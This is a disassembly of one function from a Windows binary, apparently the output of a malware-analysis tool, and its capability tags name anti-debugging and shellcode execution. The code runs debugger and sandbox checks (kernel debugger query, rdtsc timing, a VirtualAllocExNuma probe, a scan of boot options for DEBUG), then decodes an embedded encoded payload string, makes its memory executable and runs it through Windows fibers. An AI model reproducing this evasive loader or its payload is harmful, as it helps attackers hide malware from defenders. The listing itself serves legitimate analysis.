Function at 0x140001560
Capabilities:
Allocate or change rwx memory
Execute anti-debugging instructions
Execute shellcode via indirect call
Execute shellcode via windows fibers
Query or enumerate registry value

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
lea rbp, [rax - 0x208]
sub rsp, 0x2f0
mov qword [rbp - 0x70], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x140006010]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtQuerySystemInformation
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r15d, r15d
mov dword [rbp - 0x5c], r15d
mov word [rbp - 0x60], r15w
lea r9, [rbp - 0x5c]
lea r8d, [r15 + 2]
lea rdx, [rbp - 0x60]
lea ecx, [r15 + 0x23]
call rax
movzx r8d, byte [rbp - 0x5f]
movzx edx, byte [rbp - 0x60]
lea rcx, str.NtQuerySystemInformation_SystemKernelDebuggerInformation___0x_X_0x_X_n
call fcn.1400010a0
cmp byte [rbp - 0x60], r15b
lea rcx, str.____Debugging____n_n
jne 0x1400015ff
lea rcx, str.____Not_debugging..._n_n
call fcn.1400010a0
rdtsc
shl rdx, 0x20
or rax, rdx
mov rbx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlsAlloc]
cmp eax, 0xffffffff
jne 0x14000162e
lea rcx, str.FLS_OUT_OF_INDEXES_n
call fcn.1400010a0
jmp 0x1400019a1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x3e8
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
test rax, rax
jne 0x14000166e
lea rcx, str.VirtualAllocExNuma_NULL_n
call fcn.1400010a0
jmp 0x1400019a1
rdtsc
shl rdx, 0x20
or rax, rdx
sub rax, rbx
sub rax, 0x2710
cmp rax, 0x15f90
ja 0x1400019a1
mov dword [rbp - 0x58], 0x200
mov qword [rsp + 0x40], r15
lea rax, [rbp - 0x68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControl
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140001720
lea rax, [rbp - 0x58]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x54]
xor r8d, r8d
lea rdx, str.SystemStartOptions
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140001717
cmp dword [rbp - 0x54], 1
jne 0x14000172e
lea rdx, [rbp - 0x20]
lea rcx, str.SystemStartOptions:__s_n
call fcn.140001040
jmp 0x14000172e
lea rcx, str.RegQueryValueEx_Error:__d_n
jmp 0x140001727
lea rcx, str.RegCreateKeyEx_Error:__d_n
mov edx, eax
call fcn.1400010a0
movdqa xmm0, xmmword [0x140004630]
movdqu xmmword [rbp - 0x38], xmm0
mov word [rbp - 0x48], r15w
lea rax, [rbp - 0x20]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop
inc r8
cmp word [rax + r8*2], r15w
jne 0x140001750
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x48]
call fcn.140001aa0
nop
lea r10, [rbp - 0x48]
mov rsi, qword [rbp - 0x48]
mov r14, qword [rbp - 0x30]
cmp r14, 8
cmovae r10, rsi
mov rax, qword [rbp - 0x38]
cmp rax, 5
jb 0x140001800
lea r11, [rax - 4]
lea r11, [r10 + r11*2]
mov rcx, r10
lea rbx, str.DEBUG
nop dword [rax + rax]
mov rax, r11
sub rax, rcx
sar rax, 1
je 0x140001800
cmp word [rcx], 0x44
je 0x1400017bb
add rcx, 2
sub rax, 1
jmp 0x1400017a9
test rcx, rcx
je 0x140001800
mov r8d, 5
mov rdx, rbx
mov r9, rcx
sub r9, rbx
nop
movzx eax, word [rdx]
cmp word [rdx + r9], ax
jne 0x1400018cb
add rdx, 2
sub r8, 1
jne 0x1400017d0
sub rcx, r10
sar rcx, 1
cmp rcx, 0xffffffffffffffff
je 0x140001800
lea rcx, str.DEBUG_n
call fcn.1400010a0
mov dword [rbp - 0x50], r15d
mov edx, 0x514
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x140001963
mov rdx, rax
lea rcx, str.___Address____p_n
call fcn.1400010a0
movdqa xmm0, xmmword [0x140004640]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
lea rdx, str.TI0dPQAAAEUzyU2NQw1Ni9C4q6qqqkH34UGLwUH_wcHqA40MUsHhAivBQopEGAFBMAJJ_8JBgfl9AwAActNJ_DMzMzC4RX6k2VmZBzTwPgHV15d5WOrBzT0KxoEWowjMuVc6bB4iygV1xwX0u707eB4iSsV31JC8sKS03BzIgTSmb72dKRF0_hg6h4NQYfjcnNVR1HSNroymykrUA5WTmRAGVk556G2VmZFR7j3eHqRQqw4ufFh1DyOp4MUZxS2ZrV11e4uo4MO3oqwuVdxSDsIp7FT7Ul2GEe2yTE_E6VDDQhCPFh1Dyep4MWc0u5qLFh1Dxp4MW7GGHuLB0uDluhuUujySQJUW_FUtjDTW7wZqGPF2nFUtr8_y1bJqZOXbBr2XiHuT_QASZF2oBooGrZwL0t8qEzr5sNao0NyyorcrVdyzfsqhsVSq0t9cMmVZsNYLkkyGqQn3EzTwOt0Ny7wiQ3Dh_HkJatpxlVZqzj0WlB4ohqSQo2uyKS03HWvg41VwTcn3verYTgfNF1zVS3lp0yURVyoaOSyGr8vo9wBsPwfrCQzwTcn3jH4V3gfNJA6nOD7ZRzB_wv7pF2kmVmj88XqwLg4f1YbJqZS06OLAMX9WsXP9aHPGULzrJn19UuRolIvoEM1NdmxMMrAdhPqVfN5CJOE8PD3QEW45wZbrgTCj5n2bu8S8S2qfxtK53lHcTmDdLPK7ycRWy_BYSXjyROneMjnqRvQkPEnnQLGyN7B78AYDFGjEbynPyxjwxhYDFjG_KGaOlS_a3gocDXCSLizVzyXauzIPCniROHDAr0HapUtXTTy_P3OMhEKf8S4PEDPLfDTO0iPauy4uMFGyYyOMiH6fsyIDB3eRZg7q4ZGTiTNxMbzG88vsRIXMUe9XR8aNtwgLOiGQj34xC1gQN4EgSVrah6d7BPOmByKDfWrSPMKRobswWZ6yd6kkMueLmHhffHIYlmN0SKlR74fGUy4EGq3q0r9Iqe_REM6hQjPeLk7hKt2AHZQatbtH3e8eBHrRB2BfPIMGuPAdmM3cOkm_qTDf6O8emmsqzBRiBUDLYzyRCNUiaAFX2hIuH4H3Tzks6tLoGuTFNJD8sVgLd7rbWtmJaIOqG2HsCyoqzcZByT0JY4QX6kyTfJBzT0JaubGpdpqzLItHEtpBl1zYi3vvl1GTyPg4VxzaiTcdop3rfw1qZYsCmEKqYxASo4NZ_UxCxPESmBwbg4RX6w6aOEBsDLZ0zvLpV1IVSzQfjbR4UTzLAg
inc rdi
cmp byte [rdx + rdi], 0
jne 0x140001850
mov r8, rdi
lea rcx, [rsp + 0x50]
call fcn.140001c10
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.140001100
cmp qword [rax + 0x18], 0x10
jb 0x140001880
mov rax, qword [rax]
mov r8d, 0x514
mov rdx, rax
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x1400018d9
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
add rcx, 2
jmp 0x1400017a0
call fcn.1400024b0
movdqa xmm0, xmmword [0x140004640]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x14000192b
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001926
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001926
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400024b0
lea r9, [rbp - 0x50]
mov edx, 0x514
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
nop
cmp r14, 8
jb 0x1400019a1
lea rdx, [r14*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140001999
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001999
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.1400024b0
xor eax, eax
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.140001f00
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret